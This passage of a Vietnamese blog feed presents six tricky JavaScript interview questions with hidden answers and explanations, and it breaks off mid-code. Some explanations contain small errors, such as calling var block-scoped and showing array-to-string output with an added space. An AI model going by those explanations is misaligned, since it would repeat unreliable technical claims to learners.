9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 6 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/xoan-nao-voi-phong-van-javascript-5/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 3]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 3, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-3/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-3/<![CDATA[IIFE]]><![CDATA[Strict Mode]]><![CDATA[Quiz]]>Thu, 24 May 2018 12:36:10 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 3</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-3---câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-3---c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 3 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 3 - Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function-variable function">getX</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> b<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> b<span class="token punctuation">.</span>x<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">.</span><span class="token function">getX</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 1</p> <p><strong>Giải thích:</strong></p> <p>Theo định nghĩa của <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a>:</p> <blockquote> <p>The Object.create() method creates a new object, using an existing object to provide the newly created object's <strong>proto</strong></p> </blockquote> <p>Tức là Object.create sẽ tạo ra một object mới, sử dụng object cho trước làm <strong>proto</strong> cho object mới tạo ra.</p> <p>Trong câu hỏi này, <a href="/object-la-gi-object-trong-javascript/">object</a> a sẽ được dùng làm <strong>proto</strong> cho object b.</p> <p>Giả sử không có câu lệnh <em>delete b.x</em> thì bạn có thể đoán được kết quả sẽ trả về của phương thức <em>getX()</em> là <strong>this.x = b.x = 10</strong>. Nhưng nếu <em>delete b.x</em> thì JavaScript sẽ tìm đến thằng cha gần nhất của b, thông qua <strong>proto</strong>, và đó chính là object a. Vì vậy, kết quả <strong>this.x = a.x = 1</strong>.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-3---câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-3---c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 3 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 3 - Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> -1</p> <p><strong>Giải thích:</strong></p> <p>Đúng vậy, kết quả là -1 chứ không phải là 2 hay 5 (vị trí của {x : 1} trong mảng). Bởi phương thức này đã <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf#Description">định nghĩa</a> rõ rằng:</p> <blockquote> <p>indexOf() compares searchElement to elements of the Array using strict equality (the same method used by the === or triple-equals operator).</p> </blockquote> <p>Nghĩa là nó compare phần tử bằng dấu ===. Mà trong JavaScript, bạn không thể sử dụng toán tử này để so sánh 2 object. Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span> <span class="token operator">===</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <p>Về mặt trực quan, bạn sẽ thấy 2 object trên giống nhau nên chúng phải bằng nhau. Không phải, chúng là 2 object hoàn toàn khác nhau.</p> <blockquote> <p>Vậy, nếu tôi vẫn muốn tìm vị trí của object có dạng {x : 1} thì sao?</p> </blockquote> <p>Bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex">findIndex</a>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">findIndex</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token keyword">typeof</span> element <span class="token operator">===</span> <span class="token string">"object"</span> <span class="token operator">&amp;&amp;</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">1</span> <span class="token operator">&amp;&amp;</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">"x"</span> <span class="token operator">&amp;&amp;</span> element<span class="token punctuation">.</span>x <span class="token operator">===</span> <span class="token number">1</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-3---câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-3---c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 3 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 3 - Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token punctuation">(</span>y <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 10</p> <p><strong>Giải thích:</strong></p> <p>Đoạn code trên thực chất có thể tách ra thành như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> y <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">var</span> x <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Biến <em>y</em> viết như vậy sẽ có phạm vi global, tức nó trở thành một thuộc tính của window. Do đó, <strong>console.log(y) = 10</strong>.</p> <p>Trong khi đó, nếu bạn in ra giá trị của x bằng console.log(x) thì kết quả báo lỗi <strong>ReferenceError: x is not defined</strong>. Bởi vì, biến <em>x</em> kiểu <a href="/phan-biet-var-va-let-trong-javascript/">var sẽ có phạm vi là block</a>, tức là chỉ nó chỉ tồn tại trong <a href="/ham-la-gi-ham-trong-javascript/">function</a> trên.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-3---câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-3---c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 3 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 3 - Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token number">10</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> undefined 11</p> <p><strong>Giải thích:</strong></p> <p>Như mình đã giải thích trong bài viết trước, bạn có thể sử dụng chỉ số âm trong mảng. Vì vậy, sau câu lệnh đầu tiên, mảng a trở thành:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> <span class="token comment">//[1, 2, 3, -1: 4]</span></code></pre></div> <p>Tuy nhiên, cái này lại không ảnh hưởng đến độ dài của mảng, tức là a.length vẫn bằng 3.</p> <p>Khi thực hiện câu lệnh tiếp theo là <em>a[10] = 5</em>, vì 10 là số tự nhiên lớn hơn độ dài hiện tại của mảng nên JavaScript sẽ cấp phát thêm bộ nhớ cho mảng thành 11 phần tử để lưu a[10] tại vị trí cuối cùng của mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">]</span></code></pre></div> <p>Do đó, độ dài mảng a.length = 11</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-3---câu-5" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-3---c%C3%A2u-5" aria-label="xoắn não với phỏng vấn javascript 3 câu 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 3 - Câu 5</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">12</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> d <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">m</span><span class="token operator">:</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token literal-property property">n</span><span class="token operator">:</span> <span class="token string">"b"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span>b<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">34</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span>c<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">56</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span>d<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">78</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span>b<span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">[</span>c<span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">[</span>d<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 78 56 78</p> <p><strong>Giải thích:</strong></p> <p>Ở đây, mình sử dụng object b, array c và object d làm giá trị key cho object a. Và đối với object trong JavaScript, vì key luôn luôn có <a href="/kieu-du-lieu-trong-javascript/">kiểu string</a> nên object b, array c và object d sẽ được convert sang kiểu string. Khi đó, sẽ có một số trường hợp đặc biệt sau:</p> <p>Với mọi object khi convert sang kiểu string ta đều thu được string có dạng <strong>[object Object]</strong>;</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">12</span> <span class="token punctuation">}</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [object Object]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [object Object]</span></code></pre></div> <p>Array khi convert sang string sẽ thu được string có dạng <em>các phần tử cách nhau bởi dấu phẩy (,)</em>. Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1, 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1, [object Object]</span></code></pre></div> <p>Do đó, đoạn code trên sẽ tương đương với:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">12</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> d <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">m</span><span class="token operator">:</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token literal-property property">n</span><span class="token operator">:</span> <span class="token string">"b"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token string">"[object Object]"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">34</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token string">"1, 2"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">56</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token string">"[object Object]"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">78</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token string">"[object Object]"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">[</span><span class="token string">"1, 2"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">[</span><span class="token string">"[object Object]"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Như vậy, kết quả thu được sẽ phải là: 78, 56, 78</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-3---câu-6" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-3---c%C3%A2u-6" aria-label="xoắn não với phỏng vấn javascript 3 câu 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 3 - Câu 6</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> x<span class="token operator">++</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>y <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> y<span class="token operator">++</span><span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 1 ReferenceError: y is not defined</p> <p><strong>Giải thích:</strong></p> <p>Trước tiên, bạn cần quan tâm đến cú pháp <strong>(expression1, expression2, expression3)</strong>. Nó liên quan đến toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator">comma</a> (dấu phẩy) trong JavaScript.</p> <p>Khi sử dụng toán tử này, các biểu thức sẽ được thực hiện từ trái sang phải và kết quả trả về sẽ là kết quả của biểu thức cuối cùng.</p> <p><strong>Xét câu lệnh thứ nhất:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> x<span class="token operator">++</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Biến x được khai báo kiểu var nên sẽ được hoisted. Do đó, câu lệnh này sẽ tương đương với:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> x<span class="token operator">++</span><span 